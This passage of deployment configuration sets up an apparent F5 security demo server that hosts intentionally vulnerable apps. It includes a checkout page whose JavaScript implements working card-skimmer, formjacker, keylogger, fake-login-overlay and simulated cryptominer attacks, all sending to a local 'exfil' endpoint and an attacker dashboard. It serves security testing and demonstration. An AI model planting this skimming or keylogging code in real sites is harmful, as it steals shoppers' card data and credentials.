proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location /restaurant/ {
proxy_pass http://restaurant/;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
server {
listen 8888;
server_name _;
location /health {
access_log off;
return 200 '{"status":"healthy","component":"crapi"}';
add_header Content-Type application/json;
}
location / {
proxy_pass http://127.0.0.1:18888;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
- path: /var/www/html/index.html
content: |
<!DOCTYPE html>
<html>
<head><title>Origin Server</title></head>
<body>
<h1>Origin Server</h1>
<p>Vulnerable web application origin server for F5 XC demo environments.</p>
<ul>
<li><a href="/juice-shop/">Juice Shop</a> - OWASP Top 10 (XSS, SQLi, CSRF)</li>
<li><a href="/dvwa/">DVWA</a> - WAF testing (adjustable difficulty)</li>
<li><a href="/vampi/">VAmPI</a> - REST API security (OWASP API Top 10)</li>
<li><a href="/httpbin/">httpbin</a> - HTTP request/response testing</li>
<li><a href="/whoami/">whoami</a> - Request diagnostics (headers, IP, hostname)</li>
<li><a href="/csd-demo/">CSD Demo</a> - Client-Side Defense testing (skimming, formjacking)</li>
<li><a href="/dvga/">DVGA</a> - GraphQL security (introspection, batching, injection)</li>
<li><a href="/restaurant/">RESTaurant</a> - REST API security (OWASP API Top 10 2023)</li>
<li><a href="javascript:void(0)" onclick="window.open('http://'+location.hostname+':8888','_blank')">crAPI</a> - Microservices API security (BOLA, BFLA, SSRF)</li>
</ul>
<p><a href="/health">Health Check</a></p>
</body>
</html>
- path: /opt/origin-server/dvwa-fpm/Dockerfile
content: |
FROM ghcr.io/digininja/dvwa:latest AS dvwa-src
FROM php:8-fpm
RUN apt-get update && apt-get install -y --no-install-recommends nginx \
libpng-dev libjpeg62-turbo-dev libfreetype6-dev zlib1g-dev \
&& docker-php-ext-configure gd --with-freetype --with-jpeg \
&& docker-php-ext-install mysqli pdo pdo_mysql gd \
&& rm -rf /var/lib/apt/lists/*
COPY --from=dvwa-src /var/www/html /var/www/html
RUN cp /var/www/html/config/config.inc.php.dist /var/www/html/config/config.inc.php \
&& chown -R www-data:www-data /var/www/html
COPY nginx.conf /etc/nginx/sites-available/default
RUN ln -sf /etc/nginx/sites-available/default /etc/nginx/sites-enabled/default
COPY www.conf /usr/local/etc/php-fpm.d/www.conf
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
EXPOSE 80
CMD ["/entrypoint.sh"]
- path: /opt/origin-server/dvwa-fpm/nginx.conf
content: |
server {
listen 80;
server_name _;
root /var/www/html;
index index.php index.html;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
fastcgi_read_timeout 30;
fastcgi_buffer_size 32k;
fastcgi_buffers 16 32k;
}
}
- path: /opt/origin-server/dvwa-fpm/www.conf
content: |
[www]
user = www-data
group = www-data
listen = 127.0.0.1:9000
pm = dynamic
pm.max_children = 32
pm.start_servers = 8
pm.min_spare_servers = 4
pm.max_spare_servers = 16
pm.max_requests = 200
request_terminate_timeout = 30
- path: /opt/origin-server/dvwa-fpm/entrypoint.sh
permissions: "0755"
content: |
#!/bin/sh
sed -i "s/\$_DVWA\[ 'db_server' \].*/\$_DVWA[ 'db_server' ] = getenv('DB_SERVER') ?: '127.0.0.1';/" /var/www/html/config/config.inc.php
sed -i "s/\$_DVWA\[ 'db_database' \].*/\$_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa';/" /var/www/html/config/config.inc.php
sed -i "s/\$_DVWA\[ 'db_user' \].*/\$_DVWA[ 'db_user' ] = getenv('DB_USER') ?: 'dvwa';/" /var/www/html/config/config.inc.php
sed -i "s/\$_DVWA\[ 'db_password' \].*/\$_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'p@ssw0rd';/" /var/www/html/config/config.inc.php
php-fpm -D
nginx -g 'daemon off;'
- path: /opt/origin-server/vampi-gunicorn.sh
permissions: "0755"
content: |
#!/bin/sh
cd /vampi
pip install -q gunicorn 2>/dev/null
python -c "
from config import db, vuln_app
with vuln_app.app.app_context():
db.create_all()
"
exec gunicorn -b 0.0.0.0:5000 "config:vuln_app" -w 2 --timeout 30
- path: /opt/origin-server/csd-demo/Dockerfile
content: |
FROM python:3.12-slim
WORKDIR /app
RUN pip install --no-cache-dir flask gunicorn gevent
COPY app.py .
COPY templates/ templates/
EXPOSE 5001
CMD ["gunicorn", "-b", "0.0.0.0:5001", "app:app", "-w", "1", "-k", "gevent", "--timeout", "30"]
- path: /opt/origin-server/csd-demo/app.py
content: |
from datetime import datetime, timezone
from flask import Flask, jsonify, render_template, request
app = Flask(__name__)
exfiltrated_data = []
@app.route("/")
def checkout():
return render_template("checkout.html")
@app.route("/dashboard")
def dashboard():
return render_template("dashboard.html", entries=exfiltrated_data)
@app.route("/exfil", methods=["POST", "GET"])
def exfil():
entry = {
"timestamp": datetime.now(timezone.utc).isoformat(),
"source_ip": request.remote_addr,
"user_agent": request.headers.get("User-Agent", ""),
"attack_type": request.args.get("type", "unknown"),
}
if request.is_json:
entry["payload"] = request.get_json(silent=True)
elif request.args.get("d"):
entry["payload"] = request.args.get("d")
else:
entry["payload"] = request.get_data(as_text=True)
exfiltrated_data.append(entry)
return jsonify({"status": "received"})
@app.route("/exfil/log")
def exfil_log():
return jsonify(exfiltrated_data)
@app.route("/exfil/clear", methods=["POST"])
def exfil_clear():
exfiltrated_data.clear()
return jsonify({"status": "cleared"})
@app.route("/health")
def health():
return jsonify(
{
"status": "healthy",
"component": "csd-demo",
"attacks": [
"skimmer",
"formjacker",
"keylogger",
"cryptominer",
"dom-hijack",
],
}
)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5001, debug=False)
- path: /opt/origin-server/csd-demo/templates/checkout.html
content: |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>ShopDemo - Checkout</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
.attack-panel { position: fixed; top: 10px; right: 10px; z-index: 9999; width: 320px; font-size: 0.85rem; }
.attack-panel .card { border: 2px solid #dc3545; }
.attack-toggle { cursor: pointer; }
.attack-active { background-color: #f8d7da; }
.exfil-indicator { display: none; position: fixed; bottom: 20px; right: 20px; z-index: 9999;
background: #dc3545; color: white; padding: 8px 16px; border-radius: 4px; font-size: 0.8rem; }
.exfil-indicator.show { display: block; animation: pulse 1s infinite; }
@keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } }
.product-img { width: 80px; height: 80px; background: #e9ecef; border-radius: 8px;
display: flex; align-items: center; justify-content: center; font-size: 2rem; }
</style>
</head>
<body class="bg-light">
<!-- Attack Control Panel (visible to demo operator) -->
<div class="attack-panel" id="attackPanel">
<div class="card shadow">
<div class="card-header bg-danger text-white d-flex justify-content-between align-items-center">
<strong>Attack Simulator</strong>
<button class="btn btn-sm btn-outline-light" onclick="togglePanel()">_</button>
</div>
<div class="card-body" id="panelBody">
<p class="text-muted mb-2">Toggle attacks to demonstrate what F5 CSD detects:</p>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleSkimmer">
<label class="form-check-label" for="toggleSkimmer">
<strong>Card Skimmer</strong><br>
<small class="text-muted">Steals CC data on form submit (Magecart)</small>
</label>
</div>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleFormjacker">
<label class="form-check-label" for="toggleFormjacker">
<strong>Formjacker</strong><br>
<small class="text-muted">Hijacks form action to attacker endpoint</small>
</label>
</div>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleKeylogger">
<label class="form-check-label" for="toggleKeylogger">
<strong>Keylogger</strong><br>
<small class="text-muted">Captures keystrokes in real time</small>
</label>
</div>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleCryptominer">
<label class="form-check-label" for="toggleCryptominer">
<strong>Cryptominer</strong><br>
<small class="text-muted">Simulates CPU-intensive mining script</small>
</label>
</div>
<div class="form-check form-switch mb-2">
<input class="form-check-input attack-toggle" type="checkbox" id="toggleDomHijack">
<label class="form-check-label" for="toggleDomHijack">
<strong>DOM Hijack</strong><br>
<small class="text-muted">Injects fake overlay form to steal PII</small>
</label>
</div>
<hr>
<div class="d-flex gap-2">
<a href="/dashboard" class="btn btn-sm btn-outline-danger" target="_blank">Attacker Dashboard</a>
<button class="btn btn-sm btn-outline-secondary" onclick="clearLog()">Clear Log</button>
</div>
<div id="exfilCount" class="mt-2 text-muted small"></div>
</div>
</div>
</div>
<!-- Exfiltration Indicator -->
<div class="exfil-indicator" id="exfilIndicator">Data exfiltrated to attacker</div>
<!-- Main Checkout Page -->
<div class="container py-5" style="max-width: 960px;">
<div class="text-center mb-4">
<h2>ShopDemo Checkout</h2>
<p class="text-muted">Complete your purchase — this is a simulated e-commerce checkout for CSD testing.</p>
</div>
<!-- Order Summary -->
<div class="card mb-4">
<div class="card-body">
<h5 class="card-title">Order Summary</h5>
<div class="d-flex align-items-center mb-3">
<div class="product-img me-3">&#128187;</div>
<div class="flex-grow-1">
<strong>Premium Widget Pro</strong><br>
<small class="text-muted">SKU: WDG-PRO-2024 &middot; Qty: 1</small>
</div>
<strong>$149.99</strong>
</div>
<div class="d-flex align-items-center mb-3">
<div class="product-img me-3">&#128225;</div>
<div class="flex-grow-1">
<strong>Widget Accessory Pack</strong><br>
<small class="text-muted">SKU: WDG-ACC-100 &middot; Qty: 2</small>
</div>
<strong>$39.98</strong>
</div>
<hr>
<div class="d-flex justify-content-between">
<span>Subtotal</span><span>$189.97</span>
</div>
<div class="d-flex justify-content-between">
<span>Shipping</span><span>$9.99</span>
</div>
<div class="d-flex justify-content-between">
<span>Tax</span><span>$16.15</span>
</div>
<hr>
<div class="d-flex justify-content-between">
<strong>Total</strong><strong>$216.11</strong>
</div>
</div>
</div>
<!-- Checkout Form -->
<form id="checkoutForm" action="/checkout-complete" method="POST">
<div class="card mb-4">
<div class="card-body">
<h5 class="card-title">Billing Information</h5>
<div class="row g-3">
<div class="col-md-6">
<label for="firstName" class="form-label">First name</label>
<input type="text" class="form-control" id="firstName" name="firstName" placeholder="John" required>
</div>
<div class="col-md-6">
<label for="lastName" class="form-label">Last name</label>
<input type="text" class="form-control" id="lastName" name="lastName" placeholder="Smith" required>
</div>
<div class="col-12">
<label for="email" class="form-label">Email</label>
<input type="email" class="form-control" id="email" name="email" placeholder="john.smith@example.com" required>
</div>
<div class="col-12">
<label for="phone" class="form-label">Phone</label>
<input type="tel" class="form-control" id="phone" name="phone" placeholder="(555) 123-4567">
</div>
<div class="col-12">
<label for="address" class="form-label">Address</label>
<input type="text" class="form-control" id="address" name="address" placeholder="1234 Main St" required>
</div>
<div class="col-md-5">
<label for="city" class="form-label">City</label>
<input type="text" class="form-control" id="city" name="city" placeholder="Seattle" required>
</div>
<div class="col-md-4">
<label for="state" class="form-label">State</label>
<input type="text" class="form-control" id="state" name="state" placeholder="WA" required>
</div>
<div class="col-md-3">
<label for="zip" class="form-label">ZIP</label>
<input type="text" class="form-control" id="zip" name="zip" placeholder="98101" required>
</div>
<div class="col-12">
<label for="ssn" class="form-label">SSN <small class="text-muted">(for financing — optional)</small></label>
<input type="text" class="form-control" id="ssn" name="ssn" placeholder="XXX-XX-XXXX">
</div>
</div>
</div>
</div>
<div class="card mb-4">
<div class="card-body">
<h5 class="card-title">Payment Details</h5>
<div class="row g-3">
<div class="col-12">
<label for="ccName" class="form-label">Name on card</label>
<input type="text" class="form-control" id="ccName" name="ccName" placeholder="John Smith" required>
</div>
<div class="col-12">
<label for="ccNumber" class="form-label">Card number</label>
<input type="text" class="form-control" id="ccNumber" name="ccNumber" placeholder="4111 1111 1111 1111" required>
</div>
<div class="col-md-4">
<label for="ccExpiry" class="form-label">Expiration</label>
<input type="text" class="form-control" id="ccExpiry" name="ccExpiry" placeholder="MM/YY" required>
</div>
<div class="col-md-4">
<label for="ccCvv" class="form-label">CVV</label>
<input type="text" class="form-control" id="ccCvv" name="ccCvv" placeholder="123" required>
</div>
</div>
</div>
</div>
<button class="btn btn-primary btn-lg w-100 mb-4" type="submit">Place Order — $216.11</button>
</form>
<p class="text-center text-muted small">
This is a <strong>simulated checkout page</strong> for F5 Distributed Cloud Client-Side Defense testing.
No real transactions are processed. All data stays on this server.
</p>
</div>
<!-- DOM Hijack Overlay (hidden by default) -->
<div id="domHijackOverlay" style="display:none; position:fixed; top:0; left:0; width:100%; height:100%;
background:rgba(0,0,0,0.7); z-index:10000; justify-content:center; align-items:center;">
<div style="background:white; padding:30px; border-radius:8px; max-width:400px; width:90%;">
<h5 style="color:#dc3545;">Session Expired</h5>
<p>Please re-enter your credentials to continue:</p>
<input type="text" class="form-control mb-2" id="hijackUser" placeholder="Username">
<input type="password" class="form-control mb-2" id="hijackPass" placeholder="Password">
<input type="text" class="form-control mb-2" id="hijackCC" placeholder="Card number for verification">
<button class="btn btn-danger w-100" onclick="submitHijack()">Verify Identity</button>
</div>
</div>
<script>
const EXFIL_URL = "/exfil";
let activeAttacks = {};
let keystrokeBuffer = "";
let keystrokeTimer = null;
let miningInterval = null;
function flashExfil() {
const el = document.getElementById("exfilIndicator");
el.classList.add("show");
setTimeout(() => el.classList.remove("show"), 2000);
}
function exfiltrate(type, data) {
flashExfil();
fetch(EXFIL_URL + "?type=" + encodeURIComponent(type), {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify(data)
});
updateCount();
}
function updateCount() {
fetch("/exfil/log").then(r => r.json()).then(d => {
document.getElementById("exfilCount").textContent = d.length + " exfiltration(s) captured";
});
}
// ── Card Skimmer (Magecart-style) ──
function enableSkimmer() {
document.getElementById("checkoutForm").addEventListener("submit", skimmerHandler);
}
function disableSkimmer() {
document.getElementById("checkoutForm").removeEventListener("submit", skimmerHandler);
}
function skimmerHandler(e) {
const form = e.target;
const data = {};
new FormData(form).forEach((v, k) => { data[k] = v; });
exfiltrate("skimmer", {
description: "Magecart card skimmer — captured payment data on form submit",
card_number: data.ccNumber,
card_name: data.ccName,
card_expiry: data.ccExpiry,
card_cvv: data.ccCvv,
email: data.email,
billing_address: data.address + ", " + data.city + " " + data.state + " " + data.zip
});
}
// ── Formjacker ──
let originalAction = null;
function enableFormjacker() {
const form = document.getElementById("checkoutForm");
originalAction = form.action;
form.action = EXFIL_URL + "?type=formjacker";
form.method = "POST";
}
function disableFormjacker() {
if (originalAction) {
document.getElementById("checkoutForm").action = originalAction;
}
}
// ── Keylogger ──
function enableKeylogger() {
document.addEventListener("keydown", keylogHandler);
}
function disableKeylogger() {
document.removeEventListener("keydown", keylogHandler);
if (keystrokeTimer) clearTimeout(keystrokeTimer);
keystrokeBuffer = "";
}
function keylogHandler(e) {
const target = e.target;
const fieldId = target.id || target.name || "unknown";
keystrokeBuffer += e.key;
if (keystrokeTimer) clearTimeout(keystrokeTimer);
keystrokeTimer = setTimeout(() => {
exfiltrate("keylogger", {
description: "JavaScript keylogger — real-time keystroke capture",
field: fieldId,
keystrokes: keystrokeBuffer
});
keystrokeBuffer = "";
}, 1500);
}
// ── Cryptominer (simulated) ──
function enableCryptominer() {
exfiltrate("cryptominer", {
description: "Cryptominer script loaded — simulating CPU-intensive mining",
pool: "stratum+tcp://evil-pool.example.com:3333",
wallet: "44AFFq5kSiGBoZ4NMDwYtN18NkMdYsKPmYHg...",
status: "mining_started"
});
miningInterval = setInterval(() => {
let x = 0;
for (let i = 0; i < 5000000; i++) { x += Math.sqrt(i) * Math.random(); }
}, 100);
}
function disableCryptominer() {
if (miningInterval) { clearInterval(miningInterval); miningInterval = null; }
}
// ── DOM Hijack ──
function enableDomHijack() {
setTimeout(() => {
document.getElementById("domHijackOverlay").style.display = "flex";
exfiltrate("dom-hijack", {
description: "DOM manipulation — injected fake credential overlay",
technique: "overlay_phishing",
status: "overlay_displayed"
});
}, 3000);
}
function disableDomHijack() {
document.getElementById("domHijackOverlay").style.display = "none";
}
function submitHijack() {
exfiltrate("dom-hijack", {
description: "DOM hijack — victim submitted credentials to fake overlay",
username: document.getElementById("hijackUser").value,
password: document.getElementById("hijackPass").value,
card: document.getElementById("hijackCC").value
});
document.getElementById("domHijackOverlay").style.display = "none";
}
// ── Toggle handlers ──
const attacks = {
toggleSkimmer: { enable: enableSkimmer, disable: disableSkimmer },
toggleFormjacker: { enable: enableFormjacker, disable: disableFormjacker },
toggleKeylogger: { enable: enableKeylogger, disable: disableKeylogger },
toggleCryptominer: { enable: enableCryptominer, disable: disableCryptominer },
toggleDomHijack: { enable: enableDomHijack, disable: disableDomHijack }
};
Object.keys(attacks).forEach(id => {
document.getElementById(id).addEventListener("change", function() {
if (this.checked) { attacks[id].enable(); } else { attacks[id].disable(); }
});
});
function togglePanel() {
const body = document.getElementById("panelBody");
body.style.display = body.style.display === "none" ? "block" : "none";
}
function clearLog() {
fetch("/exfil/clear", { method: "POST" }).then(() => updateCount());
}
updateCount();
</script>
</body>
</html>
- path: /opt/origin-server/csd-demo/templates/dashboard.html
content: |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Attacker Dashboard - Exfiltrated Data</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body { background: #1a1a2e; color: #e0e0e0; font-family: monospace; }
.card { background: #16213e; border-color: #0f3460; }
.card-header { background: #0f3460; }
.badge-skimmer { background: #dc3545; }
.badge-formjacker { background: #fd7e14; }
.badge-keylogger { background: #ffc107; color: #000; }
.badge-cryptominer { background: #198754; }
.badge-dom-hijack { background: #6f42c1; }
pre { background: #0d1117; color: #58a6ff; padding: 10px; border-radius: 4px; font-size: 0.8rem; max-height: 200px; overflow-y: auto; }
.header-bar { background: #dc3545; padding: 15px 0; margin-bottom: 20px; }
</style>
</head>
<body>
<div class="header-bar text-center">
<h4 class="text-white mb-0">Attacker C&amp;C Dashboard</h4>
<small class="text-white-50">Exfiltrated data from CSD demo checkout page</small>
</div>
<div class="container-fluid px-4">
<div class="d-flex justify-content-between align-items-center mb-3">
<h5>Captured Data ({{ entries|length }} entries)</h5>
<div>
<button class="btn btn-sm btn-outline-light" onclick="location.reload()">Refresh</button>
<button class="btn btn-sm btn-outline-danger" onclick="clearAndReload()">Clear All</button>
</div>
</div>
{% if entries %}
{% for entry in entries|reverse %}
<div class="card mb-3">
<div class="card-header d-flex justify-content-between align-items-center">
<span>
<span class="badge badge-{{ entry.attack_type }}">{{ entry.attack_type }}</span>
{{ entry.timestamp }}
</span>
<small>{{ entry.source_ip }}</small>
</div>
<div class="card-body">
<pre>{{ entry.payload | tojson(indent=2) if entry.payload is mapping else entry.payload }}</pre>
</div>
</div>
{% endfor %}
{% else %}
<div class="text-center py-5">
<h5 class="text-muted">No data captured yet</h5>
<p class="text-muted">Enable attacks on the checkout page and interact with the form.</p>
</div>
{% endif %}
</div>
<script>
function clearAndReload() {
fetch("/exfil/clear", { method: "POST" }).then(() => location.reload());
}
setTimeout(() => location.reload(), 5000);
</script>
</body>
</html>
- path: /usr/local/lib/cloud-init-helpers.sh
permissions: "0644"
content: |
#!/bin/sh
PROGRESS_LOG="/var/log/cloud-init-progress.log"
log_phase() { _p="$1"; shift; printf '[%s] [%s] %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$_p" "$${*:-started}" | tee -a "$PROGRESS_LOG" >&2; }
retry_cmd() { _m="$1"; _b="$2"; shift 2; _a=1; while [ "$_a" -le "$_m" ]; do if "$@"; then return 0; fi; [ "$_a" -lt "$_m" ] && { _w=$((_b*_a)); log_phase retry "$_a/$_m failed ($1) retry in $${_w}s"; sleep "$_w"; }; _a=$((_a+1)); done; log_phase retry "FAILED after $_m: $1"; return 1; }
fetch_url() { log_phase fetch "$${3:-$1}"; retry_cmd 4 5 curl -fsSL --connect-timeout 15 --max-time 300 -o "$2" "$1"; }
install_packages() { log_phase apt "installing: $*"; retry_cmd 3 10 apt-get install -y -o DPkg::Lock::Timeout=60 "$@"; }
clone_repo() { log_phase git "cloning $1 -> $2"; retry_cmd 3 10 git clone --depth "$${3:-1}" --single-branch "$1" "$2"; }
wait_for_http() { _u="$1"; _m="$2"; _d="$${3:-$1}"; log_phase health "waiting $_d (max $${_m}s)"; _e=0; while [ "$_e" -lt "$_m" ]; do curl -sf --max-time 5 "$_u" >/dev/null 2>&1 && { log_phase health "$_d ready $${_e}s"; return 0; }; sleep 5; _e=$((_e+5)); done; log_phase health "TIMEOUT $_d $${_m}s"; return 1; }
wait_for_docker_health() { _c="$1"; _m="$2"; log_phase docker "waiting $_c (max $${_m}s)"; _e=0; while [ "$_e" -lt "$_m" ]; do _s=$(docker inspect -f '{{.State.Health.Status}}' "$_c" 2>/dev/null||echo missing); case "$_s" in healthy) log_phase docker "$_c healthy $${_e}s"; return 0;; unhealthy) log_phase docker "$_c unhealthy"; return 1;; esac; sleep 5; _e=$((_e+5)); done; log_phase docker "TIMEOUT $_c $${_m}s"; return 1; }
runcmd:
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "init" "origin-server provisioning started"
# Enable sysstat collection (sar history)
- sed -i 's/ENABLED="false"/ENABLED="true"/' /etc/default/sysstat
- systemctl enable sysstat
- systemctl restart sysstat
# Kernel tuning
- sysctl -p /etc/sysctl.d/99-origin-server.conf || exit 1
# Docker
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "docker-install" "installing Docker Engine"
install -m 0755 -d /etc/apt/keyrings
fetch_url "https://download.docker.com/linux/ubuntu/gpg" /etc/apt/keyrings/docker.asc "Docker GPG key"
chmod a+r /etc/apt/keyrings/docker.asc
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu $(. /etc/os-release && echo "$VERSION_CODENAME") stable" > /etc/apt/sources.list.d/docker.list
retry_cmd 3 10 apt-get update
install_packages docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
systemctl enable docker
systemctl start docker
log_phase "docker-install" "Docker Engine installed"
- systemctl daemon-reload
- ln -sf /etc/nginx/sites-available/origin-server /etc/nginx/sites-enabled/origin-server
- rm -f /etc/nginx/sites-enabled/default
- nginx -t || exit 1
- systemctl enable nginx
# Clone RESTaurant API repo for build
- apt-get install -y git
- |
. /usr/local/lib/cloud-init-helpers.sh
clone_repo "https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game.git" /opt/origin-server/restaurant
# Build custom images and start all containers
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "docker-build" "building custom images"
cd /opt/origin-server && retry_cmd 3 30 docker compose build || exit 1
log_phase "docker-up" "starting 41 containers"
cd /opt/origin-server && docker compose up -d || exit 1
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "health-check" "waiting for application containers"
for ctr in crapi-postgres crapi-mongo crapi-mailhog; do
wait_for_docker_health "$ctr" 120
done
for ctr in crapi-identity crapi-community crapi-workshop crapi-web; do
wait_for_docker_health "$ctr" 180
done
wait_for_http "http://127.0.0.1:3001" 120 "juice-shop"
wait_for_http "http://127.0.0.1:5101/api/v1/users" 120 "vampi"
wait_for_http "http://127.0.0.1:8201" 120 "httpbin"
wait_for_http "http://127.0.0.1:8082" 120 "whoami"
log_phase "health-check" "all containers ready"
# DVWA database setup (create tables via HTTP setup endpoint)
- |
for i in $(seq 1 30); do
docker exec dvwa-db mysqladmin ping -u root -proot_password 2>/dev/null && break
sleep 2
done
- |
. /usr/local/lib/cloud-init-helpers.sh
TOKEN=$(curl -sf http://127.0.0.1:8101/setup.php | grep -oP "user_token.*?value='\K[a-f0-9]+" | head -1)
if [ -z "$TOKEN" ]; then log_phase "warning" "empty DVWA token — skipping database setup"; else
curl -sf -X POST http://127.0.0.1:8101/setup.php -d "create_db=Create+%2F+Reset+Database&user_token=$${TOKEN}" -c /tmp/dvwa-setup -b /tmp/dvwa-setup
fi
- systemctl restart nginx
- |
. /usr/local/lib/cloud-init-helpers.sh
log_phase "complete" "origin-server provisioned"

outputs.tf exposes 25 outputs following the Demo Resource Standard — 15 standard outputs shared by all demo resources (deployer, public_ip, private_ip, ssh_command, resource_group_name, vm_name, nsg_name, vnet_name, subnet_id, component, environment, resource_group_id, vm_id, nsg_id, location) plus 10 component-specific application URLs (origin_url, health_check_url, juice_shop_url, dvwa_url, vampi_url, httpbin_url, whoami_url, dvga_url, restaurant_url, crapi_url):

# ---------------------------------------------------------
# Standard Outputs (present in every demo resource)
# ---------------------------------------------------------
output "deployer" {
description = "Resolved deployer identifier"
value = local.deployer
}
output "resource_group_name" {
description = "Name of the resource group"
value = azurerm_resource_group.main.name
}
output "resource_group_id" {
description = "Resource ID of the resource group"
value = azurerm_resource_group.main.id
}
output "location" {
description = "Azure region"
value = azurerm_resource_group.main.location
}
output "public_ip" {
description = "Public IP address of the VM"
value = azurerm_public_ip.main.ip_address
}
output "private_ip" {
description = "Private IP address of the VM"
value = azurerm_network_interface.main.private_ip_address
}
output "ssh_command" {
description = "SSH command to connect to the VM"
value = "ssh ${var.admin_username}@${azurerm_public_ip.main.ip_address}"
}
output "vm_name" {
description = "Name of the virtual machine"
value = azurerm_linux_virtual_machine.main.name
}
output "vm_id" {
description = "Resource ID of the virtual machine"
value = azurerm_linux_virtual_machine.main.id
}
output "nsg_name" {
description = "Name of the network security group"
value = azurerm_network_security_group.main.name
}
output "nsg_id" {
description = "Resource ID of the network security group"
value = azurerm_network_security_group.main.id
}
output "vnet_name" {
description = "Name of the virtual network"
value = azurerm_virtual_network.main.name
}
output "subnet_id" {
description = "Resource ID of the subnet"
value = azurerm_subnet.main.id
}
output "component" {
description = "Component name"
value = local.component
}
output "environment" {
description = "Environment label"
value = var.environment
}
# ---------------------------------------------------------
# Component-Specific Outputs
# ---------------------------------------------------------
output "origin_url" {
description = "Base HTTP URL of the origin server"
value = "http://${azurerm_public_ip.main.ip_address}"
}
output "health_check_url" {
description = "Health check endpoint"
value = "http://${azurerm_public_ip.main.ip_address}/health"
}
output "juice_shop_url" {
description = "OWASP Juice Shop URL"
value = "http://${azurerm_public_ip.main.ip_address}/juice-shop/"
}
output "dvwa_url" {
description = "DVWA URL"
value = "http://${azurerm_public_ip.main.ip_address}/dvwa/"
}
output "vampi_url" {
description = "VAmPI URL"
value = "http://${azurerm_public_ip.main.ip_address}/vampi/"
}
output "httpbin_url" {
description = "httpbin URL"
value = "http://${azurerm_public_ip.main.ip_address}/httpbin/"
}
output "whoami_url" {
description = "whoami request diagnostics URL"
value = "http://${azurerm_public_ip.main.ip_address}/whoami/"
}
output "dvga_url" {
description = "DVGA GraphQL security URL"
value = "http://${azurerm_public_ip.main.ip_address}/dvga/"
}
output "restaurant_url" {
description = "RESTaurant API security URL"
value = "http://${azurerm_public_ip.main.ip_address}/restaurant/"
}
output "crapi_url" {
description = "crAPI microservices security URL"
value = "http://${azurerm_public_ip.main.ip_address}:8888"
}

Copy terraform.tfvars.example to terraform.tfvars and fill in your values. The .gitignore excludes terraform.tfvars:

# Copy this file to terraform.tfvars and fill in your values.
# terraform.tfvars is gitignored — never commit real credentials.
# --- Required ---
subscription_id = "00000000-0000-0000-0000-000000000000"
# --- Optional overrides (defaults shown) ---
# deployer = "" # auto-resolved from Azure AD
# location = "eastus2"
# environment = "lab"
# vm_size = "Standard_D16s_v3"
# disk_size_gb = 60
# admin_username = "azureuser"
# ssh_public_key_path = "~/.ssh/id_ed25519.pub"
# tags = {}

Create and review a saved plan before applying it:

Terminal window
terraform init
install -d -m 700 .artifacts
terraform plan -out=.artifacts/tfplan
terraform show .artifacts/tfplan
# Apply only after reviewing the saved plan
terraform apply .artifacts/tfplan

Terraform outputs the public IP, SSH command, and application URLs. Allow 5—10 minutes for cloud-init to install Docker, pull images, and configure nginx, then verify the health endpoint:

Terminal window
curl -s "http://$(terraform output -raw public_ip)/health" | jq .

Expected response:

{
"status": "healthy",
"component": "origin-server",
"applications": ["juice-shop", "dvwa", "vampi", "httpbin", "whoami", "csd-demo", "dvga", "restaurant", "crapi"]
}

DVWA requires one-time database initialization at http://<PUBLIC_IP>/dvwa/setup.php. Select Create / Reset Database. Default credentials are admin / password. VAmPI initializes its SQLite database automatically.

The AWS module requires Terraform >= 1.7 and AWS provider 6.x. It creates Juice Shop only; it does not create the Azure full-origin applications, nginx host, or VM.

Until a later release is proven to contain both the module and computed-subnet support, consume the module from canonical commit d6384bb0621c4c1eceb38d55a6b63e7b9cc7083a:

module "juice_shop" {
source = "git::https://github.com/f5-sales-demo/origin-server.git//terraform/modules/aws-juice-shop?ref=d6384bb0621c4c1eceb38d55a6b63e7b9cc7083a"
name = "juice-demo"
vpc_id = module.network.vpc_id
alb_subnet_ids = [module.network.alb_subnet_a_id, module.network.alb_subnet_b_id]
task_subnet_ids = [module.network.task_subnet_a_id, module.network.task_subnet_b_id]
cloudwatch_logs_kms_key_arn = module.logging.cloudwatch_logs_kms_key_arn
